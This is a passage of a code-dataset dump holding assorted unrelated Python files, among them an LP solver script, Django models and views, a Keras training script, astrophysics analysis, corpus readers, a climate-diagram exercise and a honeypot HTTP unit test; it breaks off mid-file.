solution\nsol_json = sol.json_repn()\n\nif sol_json['Solver'][0]['Status'] == 'ok':\n print(\"Optimal solution value:\", round(m.obj(), 1))\n\n print(\"\\tValues of the decision variables:\")\n for i, b in enumerate(Blocks):\n print(b, m.x[i]())\nelse:\n print('Error in solving the model')\n","sub_path":"aa2022/scripts/blending_LP.py","file_name":"blending_LP.py","file_ext":"py","file_size_in_byte":3014,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"230141601","text":"from .dst_dprint import *\nfrom .dst_scene_plot import *\nfrom .dst_lc_pulse import *\nfrom .dst_sorted_lcs import *\nfrom .dst_deltat_hist import *\nfrom .dst_toff_overlay import *\nfrom .dst_toff_overlay_we import *\nfrom .dst_toff_subsample import *\nfrom .dst_large_steps import *\nfrom .dst_toff_regions import *\nfrom .dst_surge import *\nfrom .dst_iid_draw import *\n\n# -------- \n# Generate the figure for the first lightscape project\n#\n# 2014/03/13 - Written by Greg Dobler (CUSP/NYU)\n# -------- \n\ndef lightscape_figures(figs=None):\n\n # -- defaults\n if figs==None:\n figs=[1,2,3,4,6,7,8,9,10,11,12,13,14]\n elif type(figs)!=list:\n figs = [figs]\n\n\n # -- generate the figures for the main text\n # 1. scene from MetroTech (a) and lightcurve (b)\n if 1 in figs:\n scene_plot(xsize=183., dpi=150, otype='pdf') # mm\n\n\n # 2. pulse\n if 2 in figs:\n lc_pulse(xsize=183., dpi=150, otype='pdf') # mm\n\n\n # 3. sorted (Mon/Mon, Tue/Mon, & Tue/Tue) light curve matrices\n if 3 in figs:\n sorted_lcs(xsize=89., dpi=150, otype='pdf') # mm\n\n\n # 4. single source dynamics hsitogram\n if 4 in figs:\n deltat_hist(xsize=89., dpi=150, otype='pdf') # mm\n\n\n # -- generate the figures for the supplementary data\n # 6. overlay of weekday t_off curves\n if 6 in figs:\n toff_overlay(xsize=183., dpi=150, otype='eps')\n\n\n # sorted lcs Mon->Mon\n # 7. sorted +7 days light curve matrices\n if 7 in figs:\n sorted_lcs(9, 16, obase='sorted_lcs_09_16', xsize=89., dpi=150, \n otype='eps')\n\n\n # 8. random sub-samplings of the data\n if 8 in figs:\n toff_subsample(xsize=89., dpi=150, otype='eps')\n\n\n # 9. threshold on transition height\n if 9 in figs:\n large_steps(xsize=183., dpi=150, otype='eps')\n\n\n # 10. subdivide into regions\n if 10 in figs:\n toff_regions(xsize=164., dpi=150, otype='eps')\n\n\n # 11. overlay of weekday commercial t_off curves\n if 11 in figs:\n toff_overlay(xsize=183., dpi=150, otype='eps', commercial=True)\n\n\n # 12. overlay of weekend t_off curves\n if 12 in figs:\n toff_overlay_we(xsize=183., dpi=150, otype='eps')\n\n\n # 13. surge plot\n if 13 in figs:\n surge(xsize=183., dpi=150, otype='eps')\n\n\n # 14. IID draw\n if 14 in figs:\n iid_draw(xsize=183., dpi=150, otype='eps')\n","sub_path":"py/dst_lightscape_figures.py","file_name":"dst_lightscape_figures.py","file_ext":"py","file_size_in_byte":2421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"529668549","text":"'''\nCreated on Dec 5, 2017\n\n@author: iuan\n'''\nfrom domain.foodProduct import FoodProduct\nfrom infrastructure.foodProductRepository import FoodProductRepository\nfrom application.foodProductController import FoodProductController\nfrom ui.console import FoodProductUI\n\ndef start():\n '''\n Starts the program.\n IN: - \n OUT: - \n CONDIS: -\n '''\n repo = FoodProductRepository()\n repo.addFood( FoodProduct(\"paine\", 5.0) )\n repo.addFood( FoodProduct(\"dulceata\", 0.0) )\n repo.addFood( FoodProduct(\"salam\", 5) )\n repo.addFood( FoodProduct(\"carne\", 4.9) )\n\n #create controller, provide repository\n ctrl = FoodProductController(repo)\n \n #create ui, provide controller\n ui = FoodProductUI(ctrl)\n ui.run()\n \nstart()","sub_path":"Fundamentals of Programming/Lab 10 Test/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"362882152","text":"from django.db import models\nfrom django.contrib.auth.models import User\nfrom datetime import datetime\n\n\nclass Question(models.Model):\n title = models.TextField()\n content = models.TextField()\n author = models.ForeignKey(User)\n timestamp = models.DateTimeField(default=datetime.now, blank=True)\n\n def __unicode__(self):\n return self.title\n\n class Meta:\n db_table = 'questions'\n ordering = ['-timestamp']\n\n\nclass Comment(models.Model):\n content = models.TextField()\n question = models.ForeignKey(Question)\n author = models.ForeignKey(User)\n timestamp = models.DateTimeField(default=datetime.now, blank=True)\n\n class Meta:\n db_table = 'comments'\n ordering = ['-timestamp']\n\n","sub_path":"faq/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"123097467","text":"from base.models import BaseAction\nfrom serializers import NewClientSerializer\nfrom django.conf import settings\n\n\nclass NewClient(BaseAction):\n \"\"\"\"\"\"\n\n required = [\n 'business_name',\n 'billing_address',\n 'billing_phone',\n 'billing_email'\n ]\n\n def _pre_approve(self):\n self.action.valid = True\n self.action.need_token = False\n self.action.save()\n return []\n\n def _post_approve(self):\n self.action.valid = True\n self.action.need_token = False\n self.action.save()\n return []\n\n def _submit(self, token_data):\n pass\n\n\naction_classes = {\n 'NewClient': (NewClient, NewClientSerializer)\n}\n\nsettings.ACTION_CLASSES.update(action_classes)\n","sub_path":"stacktask/openerp/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"526160540","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport ganet_lib\nimport numpy as np\nimport utils\nfrom torch.utils.data import DataLoader, random_split, Subset\nfrom CSPN.cspn import CSPN\nfrom GANet.GANet_small import GANetSmall\nimport os\n\ndef l1_normalize():\n x = torch.randn((3, 3)).cuda()\n y = x.clone()\n print(x)\n x = F.normalize(x, p=1, dim=0)\n # ganet_lib.cuda_test(x)\n print(x)\n print(x[:, 0].abs().sum())\n\n for i in range(3):\n d = y[:, i].abs().sum()\n y[:, i] /= d\n\n print(y)\n\ndef train_test_split(full_dataset):\n x = torch.arange(0, 9).view(3, 3)\n print(x[0])\n\n train_size = int(0.8 * len(full_dataset))\n test_size = len(full_dataset) - train_size\n\n print('Train test size:', (train_size, test_size))\n\n train_dataset, test_dataset = random_split(full_dataset, [train_size, test_size])\n\ndef epe_loss():\n x = torch.ones((4, 3))\n loss = utils.EPE_loss(x, 0)\n print(loss)\n\ndef deconv():\n # size = stride * (x - 1) + k - 2*p\n x = torch.ones((1, 1, 5))\n w = torch.ones((1, 1, 4))\n y = F.conv_transpose1d(x, w, stride=2, padding=1)\n print(y[0, 0])\n\ndef test_interpolate():\n x = torch.arange(0, 9, dtype=torch.float).view(1, 1, 3, 3)\n print(x)\n y = F.interpolate(x, scale_factor=2, mode='bilinear', align_corners=False)\n print(y)\n y = F.interpolate(x, scale_factor=2, mode='bilinear', align_corners=True)\n print(y)\n\ndef test_pad_memory():\n x = torch.ones((2, 32, 1000, 1000), dtype=torch.float)\n li = []\n for i in range(10):\n os.system('nvidia-smi')\n t = F.pad(x, [1, 1, 1, 1])\n li.append(t)\n\ndef test_probability_volume():\n x = torch.zeros((2, 3, 5, 5), dtype=torch.float)\n y = torch.zeros((2, 5, 5), dtype=torch.float)\n\n y[0, 0, 0] = 0.8\n y = y.unsqueeze(1)\n index = y.long()\n mid = y - index\n\n assert torch.all(y < 3 - 1), f'disparity must lower than max disparity {3 - 1}'\n\n print(index)\n x.scatter_(1, index, mid)\n x.scatter_(1, index + 1, 1 - mid)\n print(x[0, :, 0, 0].view(-1))\n\n # x = torch.zeros((5, 5), dtype=torch.float)\n # index = torch.zeros((5, 1), dtype=torch.long)\n # index[0] = 3\n # index[1] = 2\n #\n # print(index)\n # x.scatter_(1, index, 1)\n # print(x)\n\ndef test_cross_entropy():\n y = torch.randn((10,), dtype=torch.float)\n t = torch.zeros((10,), dtype=torch.float)\n\n y = F.softmax(y, dim=0)\n t[0] = 1\n\n epsilon = 1e-06\n loss = torch.sum(- t * torch.log(y + epsilon))\n print(y)\n print(t)\n print(loss)\n\ndef test_press_probability():\n x = torch.randn((2, 10, 5, 5), dtype=torch.float)\n y = torch.zeros((2, 5, 5), dtype=torch.long)\n mask = torch.zeros((2, 10, 5, 5), dtype=torch.float)\n\n kernel = 3\n\n p = torch.zeros((1, kernel, 1, 1), dtype=torch.long)\n p[0, :, 0, 0] = torch.arange(0, kernel)\n p = p.repeat(2, 1, 5, 5)\n\n y[0, 0, 0] = 5\n y[0, 1, 1] = 9\n\n mid = (y - kernel//2).unsqueeze(1)\n p = p + mid\n\n p[p <= 0] = 0\n p[p >= 10] = 9\n\n print(p[0, :, 0, 0])\n\n mask.scatter_(1, p, 1)\n x2 = x*mask\n print(x[0, :, 0, 0].view(-1))\n print(x2[0, :, 0, 0].view(-1))\n print(x2[0, :, 1, 1].view(-1))\n\ndef test_mask_cost_volume():\n x = torch.randn((2, 10, 5, 5), dtype=torch.float)\n y = torch.zeros((2, 5, 5), dtype=torch.long)\n\n y[0, 0, 0] = 5\n y[0, 1, 1] = 5\n mask = y == 5\n x = x.permute(1, 0, 2, 3)\n print(x[:, mask])\n\ndef test_confidnence():\n x = torch.randn((2, 10, 5, 5), dtype=torch.float)\n y = torch.zeros((2, 5, 5), dtype=torch.long)\n mask = torch.zeros((2, 10, 5, 5), dtype=torch.bool)\n\n y[0, 0, 0] = 1\n y[0, 0, 1] = 0\n y = y.unsqueeze(1)\n mask.scatter_(1, y, 1)\n\n x_mask = (x*mask).sum(dim=1)\n\n print(mask[0, :, 0, 0])\n print(x[0, :, 0, 0])\n print(x[0, :, 0, 1])\n print(x_mask)\n\ntest_confidnence()\n\n\n","sub_path":"test/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"520816910","text":"from django.conf.urls.defaults import patterns, include, url\n\n# Uncomment the next two lines to enable the admin:\nfrom django.contrib import admin\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n url(r'^api/', include('dhapi.urls')),\n\n url(r'^admin/', include(admin.site.urls)),\n \n (r'^(?P.*)$', 'django.views.static.serve', {'document_root': 'dhui/static/'}),\n)\n","sub_path":"urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"253431332","text":"from django.shortcuts import render\nfrom django.http import HttpResponseRedirect, JsonResponse, HttpResponse\nfrom .forms import UploadFileForm\nfrom .forms import TypeInTextForm\nfrom django.views.decorators.csrf import csrf_protect\n# from .forms import FileFieldForm\n# from django.views.generic.edit import FormView\n\nimport requests\nimport logging\n\nlogger = logging.getLogger(__name__)\n\n\n\nHSE_API_ROOT = \"http://hse-api-web/\"\n\n\n# def save_user_text(text):\n# # with open( HSE_API_ROOT + 'user_text.txt', 'w') as fo:\n# with open('/opt/code/tmp/user_text.txt', 'w') as fo:\n# fo.write(text)\ndef web_index(request):\n return render(request, 'index.html',\n context={})\n# def web_index(request):\n# form = ProcessTextForm()\n# if request.method == 'POST':\n# form = ProcessTextForm(request.POST)\n# if form.is_valid():\n# # save_user_text(form.cleaned_data['text'])\n# ner = form.cleaned_data['ner']\n# term_extraction = form.cleaned_data['term_extraction']\n# text_classification = form.cleaned_data['text_classification']\n# readability = form.cleaned_data['readability']\n# methods = select_methods_string(ner, term_extraction,\n# text_classification, readability)\n#\n# post_form_data(methods)\n# return render(request, 'index.html',\n# context={'form':form})\n\n\n\n# def post_form_data(methods):\n# return requests.post(url=HSE_API_ROOT + 'process', data=methods)\n\ndef web_about(request):\n return render(request, 'about.html',\n context={})\n\ndef web_documentation(request):\n return render(request, 'documentation.html',\n context={})\n\ndef web_contact(request):\n return render(request, 'contact.html',\n context={})\n\n\ndef web_main(request):\n return render(request, 'main.html',\n context={\"status\": request.GET.get('status')})\n\n\ndef web_status(request):\n task_id = request.GET.get('task_id')\n if task_id:\n url = HSE_API_ROOT + \"status/\" + task_id\n content = requests.get(url)\n result = content.json()\n if result.get('status') == 'SUCCESS':\n content = requests.get(HSE_API_ROOT + 'files/' + result.get('result', [\"\"])[0])\n result['raw'] = content.content.decode('utf-8')\n return JsonResponse(result)\n return JsonResponse({\"error\": \"No task id\"})\n\n\ndef handle_uploaded_file(f, modules):\n\n files = {'file': f}\n url = HSE_API_ROOT + \"upload\"\n content = requests.post(url, files=files)\n file_id = content.json().get(\"file_id\")\n\n if file_id:\n file_id = file_id[7:]\n url = HSE_API_ROOT + \"process/\" + file_id\n content = requests.post(url, data=modules)\n\n\n else:\n raise Exception(content.json())\n response = list(content.json().values())\n\n return response\n\n# def web_process_file(request):\n\n@csrf_protect\ndef web_upload_file(request):\n if request.method == 'POST':\n form = UploadFileForm(request.POST, request.FILES)\n if form.is_valid():\n modules = list(filter(lambda t: t[0] in form.cleaned_data['modules'], form.fields['modules'].choices))\n modules = [f[0] for f in modules]\n modules = ','.join(modules)\n task_ids = handle_uploaded_file(request.FILES['file'], modules)\n task_ids = '&'.join(task_ids)\n return HttpResponseRedirect('main?task_id=' + str(task_ids))\n else:\n form = UploadFileForm()\n return render(request, 'main.html', {'form_upload': form})\n\ndef web_type_in(request):\n if request.method == 'POST':\n form = TypeInTextForm(request.POST, request.FILES)\n if form.is_valid():\n modules = list(filter(lambda t: t[0] in form.cleaned_data['modules'], form.fields['modules'].choices))\n modules = [f[0] for f in modules]\n modules = ','.join(modules)\n file = open('test.txt', 'rb+')\n subject = form.cleaned_data['text']\n subject = bytes(subject, encoding='utf-8')\n file.write(subject)\n # file.close()\n task_ids = handle_uploaded_file(file, modules)\n file.close()\n\n return HttpResponseRedirect('main?task_id=' + str(task_ids))\n else:\n form = TypeInTextForm()\n return render(request, 'main.html', {'form_text': form})\n\n\n# class FileFieldView(FormView):\n# form_class = FileFieldForm\n# template_name = 'main.html' # Replace with your template.\n# success_url = 'main' # Replace with your URL or reverse().\n#\n# def post(self, request, *args, **kwargs):\n# form_class = self.get_form_class()\n# form = self.get_form(form_class)\n# files = request.FILES.getlist('file_field')\n# if form.is_valid():\n# for f in files:\n# task_id = handle_uploaded_file(f)\n#\n# ... # Do something with each file.\n# return self.form_valid(form)\n# else:\n#\n# return self.form_invalid(form)","sub_path":"src/web/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"562368707","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /home/travis/build/honeynet/beeswarm/beeswarm/drones/honeypot/tests/test_http.py\n# Compiled at: 2016-11-12 07:38:04\nimport gevent.monkey\ngevent.monkey.patch_all()\nfrom gevent.server import StreamServer\nfrom beeswarm.drones.honeypot.capabilities import http\nimport unittest, httplib, base64, tempfile, shutil, os\nfrom beeswarm.drones.honeypot.honeypot import Honeypot\n\nclass HttpTests(unittest.TestCase):\n\n def setUp(self):\n self.work_dir = tempfile.mkdtemp()\n Honeypot.prepare_environment(self.work_dir)\n\n def tearDown(self):\n if os.path.isdir(self.work_dir):\n shutil.rmtree(self.work_dir)\n\n def test_connection(self):\n \"\"\" Tests if the capability is up, and sending\n HTTP 401 (Unauthorized) headers.\n \"\"\"\n options = {'enabled': 'True', 'port': 0, 'users': {'test': 'test'}}\n cap = http.Http(options, self.work_dir)\n srv = StreamServer(('0.0.0.0', 0), cap.handle_session)\n srv.start()\n client = httplib.HTTPConnection('127.0.0.1', srv.server_port)\n client.request('GET', '/')\n response = client.getresponse()\n self.assertEqual(response.status, 401)\n srv.stop()\n\n def test_login(self):\n \"\"\" Tries to login using the username/password as test/test.\n \"\"\"\n options = {'enabled': 'True', 'port': 0, 'users': {'test': 'test'}}\n cap = http.Http(options, self.work_dir)\n srv = StreamServer(('0.0.0.0', 0), cap.handle_session)\n srv.start()\n client = httplib.HTTPConnection('127.0.0.1', srv.server_port)\n client.putrequest('GET', '/')\n client.putheader('Authorization', 'Basic ' + base64.b64encode('test:test'))\n client.endheaders()\n response = client.getresponse()\n self.assertEqual(response.status, 200)\n srv.stop()","sub_path":"pycfiles/Beeswarm-0.7.18.tar/test_http.py","file_name":"test_http.py","file_ext":"py","file_size_in_byte":1989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"548007784","text":"\nimport json, os\nimport tensorflow as tf\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom tensorflow.keras.preprocessing.image import ImageDataGenerator, load_img, img_to_array\nfrom tensorflow.keras import layers, models, optimizers, losses\n\nfrom MyModels import CreateModel\n\ntrain_datagen = ImageDataGenerator(\n rescale=1./255,\n horizontal_flip=True)\n\ntest_datagen = ImageDataGenerator(rescale=1./255)\n\ntrain_generator = train_datagen.flow_from_directory(\n 'dataset/seg_train',\n target_size=(150, 150),\n color_mode='rgb',\n batch_size=16,\n class_mode='categorical',\n shuffle=True)\n\nvalidation_generator = test_datagen.flow_from_directory(\n 'dataset/seg_test',\n target_size=(150, 150),\n color_mode='rgb',\n batch_size=16,\n class_mode='categorical',\n shuffle=False)\n\nlabels = {}\nfor k, v in validation_generator.class_indices.items():\n labels[v] = k\n \njs = json.dumps(labels)\nf = open(\"labels.json\",\"w\")\nf.write(js)\nf.close()\n\ncheckpoint_history = os.listdir(\"training/\")\nos.mkdir(\"training/\"+str(len(checkpoint_history)))\ncheckpoint_path = \"training/\"+str(len(checkpoint_history))+\"/cp-{epoch:04d}.ckpt\"\ncheckpoint_dir = os.path.dirname(checkpoint_path)\ncp_callback = tf.keras.callbacks.ModelCheckpoint(\n checkpoint_path, verbose=1, save_weights_only=True,\n period=5)\n\nmodel = CreateModel()\n\nSTEP_SIZE_TRAIN=train_generator.n//train_generator.batch_size\nSTEP_SIZE_VALID=validation_generator.n//validation_generator.batch_size\n\nhist = model.fit_generator(generator=train_generator,\n steps_per_epoch=STEP_SIZE_TRAIN,\n validation_data=validation_generator,\n validation_steps=STEP_SIZE_VALID,\n epochs=20, callbacks=[cp_callback])\n\njs = json.dumps(hist.history)\nf = open(\"history_no_preprocess.json\",\"w\")\nf.write(js)\nf.close()\n\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"203647650","text":"import numpy as np\nimport pynbody\n\nm_h = 1.6733 * 10**-24 # g\ngalaxies = np.arange(0,300,1)\n\nsim = '/nobackupp2/mtremmel/Romulus/cosmo25/cosmo25p.768sg1bwK1BHe75.006912'\ns = pynbody.load(sim)\nh = s.halos(dosort=True)\n#s.physical_units()\n\nhalomass_array = []\nstellarmass_array = []\nid_array = []\nR_vir_array = []\nsSFR_array = []\nO_H_nden = []\nerrored = []\nfor i in range(1,100):\n try:\n h1 = h.load_copy(galaxies[i])\n h1.physical_units()\n\n pynbody.analysis.angmom.faceon(h1)\n H1_mass = h1['mass'].sum()\n stellar_mass = h1.s['mass'].sum()\n R_vir = pynbody.analysis.halo.virial_radius(h1) \n #R_max = h1.g['r'].max()\n central_gxy = h1[h1['r'].in_units('kpc') < 0.1*R_vir]#kpc]\n \n #### GET sSFR #### for red/blue designations\n sfr = pynbody.plot.stars.sfh(central_gxy,massform=False)#,trange=[13.7,13.75])\n np.savetxt('sfh_data/H'+str(i)+'_sfh_z017.txt',sfr[0]) #Msun/yr\n np.savetxt('sfh_data/H'+str(i)+'_age_z017.txt',sfr[1]) #Gyr\n sSFR = sfr[0]/(0.6*central_gxy.s['mass'].sum())\n\n \n #### GET O/H ### for mass metallicity relation\n hetot = 0.236 + (2.1 * central_gxy.g['metals'])\n hydrogen = 1.0 - central_gxy.g['metals'] - hetot\n \n O_H = np.average(((central_gxy.g['rho']*central_gxy.g['OxMassFrac'])/(16*m_h))/((central_gxy.g['rho']*hydrogen)/m_h))\n\n except:\n errored.append(i)\n np.savetxt('errored_halo_ids.txt',errored)\n continue\n\n print('Halo ',galaxies[i],'has mass =',H1_mass,' and stellar mass:',stellar_mass)\n print('Rvir = ',R_vir)#,'and R_max = ',R_max)\n print('Final sSFR values:',sSFR[-1:])\n print('12 + log(O/H) (number density):',12+np.log10(O_H))\n\n halomass_array.append(H1_mass)\n stellarmass_array.append(stellar_mass)\n id_array.append(i)\n R_vir_array.append(R_vir)\n sSFR_array.append(sSFR[-1:])\n O_H_nden.append(O_H)\n\n np.savetxt('ROM_halomasses_z017.txt',halomass_array)\n np.savetxt('ROM_stellarmass_z017.txt',stellarmass_array)\n np.savetxt('ROM_id_z017.txt',id_array)\n np.savetxt('ROM_Rvir_z017.txt',R_vir_array)\n np.savetxt('ROM_sSFR_z017.txt',sSFR_array)\n np.savetxt('ROM_O_H_nden_z017.txt',O_H_nden)\n","sub_path":"ROM_masses.py","file_name":"ROM_masses.py","file_ext":"py","file_size_in_byte":2303,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"184933516","text":"class Solution:\n def containsNearbyAlmostDuplicate(self, nums, k, t):\n \"\"\"\n :type nums: List[int]\n :type k: int\n :type t: int\n :rtype: bool\n \"\"\"\n if t==0 and len(nums)== len(set(nums)): \n return False\n for i in range(len(nums)):\n for j in range(i+1, i+k+1):\n if j >= len(nums):\n break\n if abs(nums[i]-nums[j]) <= t:\n return True\n return False","sub_path":"220存在重复元素.py","file_name":"220存在重复元素.py","file_ext":"py","file_size_in_byte":498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"140435792","text":"import sqlite3\n\nclass PDTB:\n def __init__(self,file='pdtb.sqlite3'):\n self.conn = sqlite3.connect(file)\n self.conn.text_factory = str\n self.cursor = self.conn.cursor()\n\n def get_causal(self, section=None, file=None):\n query = \"select relation, firstsemfirst, arg1rawtext,arg2rawtext from annotations_test where firstsemfirst like '%Cause%'\"\n if section is not None and file is not None:\n query += \" and section = ? and file = ? \"\n query += \" order by section,file\"\n\n #print(query)\n if section is not None and file is not None:\n self.cursor.execute(query, (section, file))\n else:\n self.cursor.execute(query)\n\n return [Tag(*i) for i in self.cursor]\n\nclass WSJ:\n def __init__(self, file):\n self.file = file\n\n def read_relations(self):\n sentences = []\n with open(self.file) as f:\n for line in f:\n if '.START' in f or f == '\\n':\n continue\n sentences.append(line)\n return sentences\n\nclass TaggedPDTB:\n def __init__(self, file):\n self.file = file\n\n def read_relations(self):\n intra_tags = []\n adjacent_tags = []\n tags = intra_tags\n with open(self.file) as f:\n for line in f:\n line = line.strip()\n if len(line) == 0 or line == 'INTRA_SENTENCE':\n continue\n if line == 'ADJACENT_SENTENCES':\n tags = adjacent_tags\n\n r = line.split('\\t')\n tags.append(Tag(None, r[0], '\\t'.join(r[1:])))\n return intra_tags,adjacent_tags\n\nclass Tag:\n def __init__(self, relation, tag, text, text2=None):\n self.relation = relation\n self.tag = tag\n self.text = text\n self.text2 = text2\n\n def set_alt_tag(self, tag):\n self.alt_tag = tag\n\n def __repr__(self):\n return str(self.__dict__)\n","sub_path":"pdtb/pd.py","file_name":"pd.py","file_ext":"py","file_size_in_byte":1978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"540645279","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport matplotlib.dates as mdates\nfrom pathlib import Path\nimport numpy as np\n\n\n\"\"\"\nby morphi01\n\"\"\"\n\n\n # TASK 1: Import both data tables into python using pandas. Set the index column to \"MESS_DATUM\" and parse the column values as dates. [1P]\n\nbasedir = Path(\"C:/Users/HomeBase/git/exercise-4-morphi01/data\")\ngarmisch_dir = basedir / \"produkt_klima_tag_20171010_20190412_01550.txt\"\nzugspitze_dir = basedir / \"produkt_klima_tag_20171010_20190412_05792.txt\"\n# data index identification based on online source: https://opendata.dwd.de/climate_environment/CDC/observations_germany/climate/daily/kl/recent/\n# 01550 as Garmisch-Partenkirchen in Bavaria\n# 05792 as Zugspitze in Bavaria\n# Date: 3rd June 2019\n\ngarmisch = pd.read_csv(garmisch_dir, parse_dates = [\"MESS_DATUM\"], index_col = \"MESS_DATUM\", sep = \";\", na_values = \"-999\")\nzugspitze = pd.read_csv(zugspitze_dir, parse_dates = [\"MESS_DATUM\"], index_col = \"MESS_DATUM\", sep = \";\", na_values = \"-999\")\n\n\n # TASK 2: Clip the tables to the year 2018: [1P]\n \ngarmisch_2018 = garmisch.loc[\"2018-01\":\"2018-12\"]\nzugspitze_2018 = zugspitze.loc[\"2018-01\":\"2018-12\"]\n# set new variable names (x_2018) to keep meta data sets (instead of overwriting var \"garmisch\" and var \"zugspitze\")\n\n\n # TASK 3: Resample the temperature data to monthly averages (\" TMK\") and store them in simple lists: [1P]\n \ngarmisch_agg = garmisch_2018.resample(\"1M\").agg({\" TMK\" : \"mean\"}).values\nzugspitze_agg = zugspitze_2018.resample(\"1M\").agg({\" TMK\" : \"mean\"}).values\n# using \"garmisch_2018\" and \"zugspitze_2018\" as both \"garmisch\" and \"zugspitze\" would have been clipped by now (in TASK 2)\n# to_list() does not work as DataFrame has not 'to_list' attribute .. whatever that means\n# .values returns the monthly averages of temperatures as list; values are in chronological order (Jan to Dez)\n\n\n # TASK 4: Define a plotting function that draws a simple climate diagram\n # Add the arguments as mentioned in the docstring below [1P]\n # Set the default temperature range from -15°C to 20°C and the precipitation range from 0mm to 370mm [1P]\n\ngarmisch_agg1 = garmisch_2018.resample(\"1M\").agg({\" TMK\" : \"mean\", \" RSK\" : \"mean\"})\nzugspitze_agg1 = zugspitze_2018.resample(\"1M\").agg({\" TMK\" : \"mean\", \" RSK\" : \"mean\"})\n# adding mean of RSK to the data frame\n# column names identified via online source: https://opendata.dwd.de/climate_environment/CDC/observations_germany/climate/daily/kl/recent/DESCRIPTION_obsgermany_climate_daily_kl_recent_en.pdf\n\ngarmisch_agg1 = garmisch_agg1.rename(columns={' TMK': 'TMK'})\ngarmisch_agg1 = garmisch_agg1.rename(columns={' RSK': 'RSK'})\nzugspitze_agg1 = zugspitze_agg1.rename(columns={' TMK': 'TMK'})\nzugspitze_agg1 = zugspitze_agg1.rename(columns={' RSK': 'RSK'})\n#print(garmisch_agg1.columns)\n#print(zugspitze_agg1.columns)\n# renaming column names since nothing works with spaces\n\n\n\nx = 0\ny = zugspitze_agg1\n\ndef create_climate_diagram(df = garmisch_agg1, temp_col = \"TMK\", prec_col = \"RSK\", \n title = \"Klimadiagramm Garmisch Partenkirchen\", filename = \"Climate_Diagram\", temp_min = \"-15\",\n temp_max = \"20\", prec_min = \"0\", prec_max = \"370\"):\n \n fig = plt.figure(figsize=(10,8))\n plt.rcParams['font.size'] = 16\n\n ax2 = fig.add_subplot(111)\n ax1 = ax2.twinx()\n\n label = [\"Jan\", \"Feb\", \"Mar\", \"Apr\", \"May\", \"Jun\", \"Jul\", \"Aug\", \"Sep\", \"Oct\", \"Nov\", \"Dec\"]\n index = np.arange(len(label))\n \n # TASK 4.1: Draw temperature values as a red line and precipitation values as blue bars: [1P]\n # Hint: Check out the matplotlib documentation how to plot barcharts. Try to directly set the correct\n # x-axis labels (month shortnames).\n\n ax2.bar(index, garmisch_agg1.RSK, color = \"blue\")\n ax1.plot(index, garmisch_agg1.TMK, color = \"red\")\n plt.xticks(index, label, fontsize=5, rotation=30)\n \n # TASK 4.2: Set appropiate limits to each y-axis using the function arguments: [1P]\n\n ######################################################################################\n \n # TASK 4.3: Set appropiate labels to each y-axis: [1P]\n\n ax2.set_ylabel(\"Niederschlagsfaktor\")\n ax1.set_ylabel(\"Temperatur\")\n \n # TASTK 4.4: Give your diagram the title from the passed arguments: [1P]\n \n plt.title(title) \n \n # TASK 4.5: Save the figure as png image in the \"output\" folder with the given filename. [1P]\n \n ######################################################################################\n return fig\n\n \n\nplt.show(create_climate_diagram(garmisch_agg1))\n \n\n\n # TASK5: Use this function to draw a climate diagram for 2018 for both stations and save the result: [1P]\n \ncreate_climate_diagram(...)#######################\ncreate_climate_diagram(...)#######################\n\n","sub_path":"create_climate_diagrams.py","file_name":"create_climate_diagrams.py","file_ext":"py","file_size_in_byte":4865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"492005244","text":"import inputs\nimport math\n\nclass Joystick:\n \n connected = False\n \n gamepad = None\n killSwitch = False\n x = 0\n y = 0\n \n forward = 0.0\n rotate = 0.0\n\n maxJoyPos = 32768\n deadZone = 0.15 # In percent\n \n \n def __init__(self):\n self.connect()\n \n def connect(self):\n if inputs.devices.gamepads:\n self.gamepad = inputs.devices.gamepads[0]\n self.connected = True\n else:\n self.gamepad = None\n \n def run(self):\n \n if self.gamepad == None:\n return False\n # Get current waiting gamepad events\n \n # collect all events\n events = []\n\n while(True):\n try:\n events.append(inputs.get_gamepad(blocking=False)[0])\n except inputs.UnpluggedError:\n self.forward = 0.0\n self.rotate = 0.0\n self.connected = False\n break\n except inputs.NoDataError:\n break\n\n if events:\n \n # If a event is received, the controller must be connected\n self.connected = True\n \n # Loop through received gamepad events and act upon them\n for event in events:\n if(event.code == \"BTN_SOUTH\"):\n self.killSwitch = ( True if event.state == 1 else False)\n elif(event.code == \"ABS_X\"):\n self.x = event.state/self.maxJoyPos;\n elif(event.code == \"ABS_Y\"):\n self.y = event.state/self.maxJoyPos \n \n if (self.killSwitch):\n 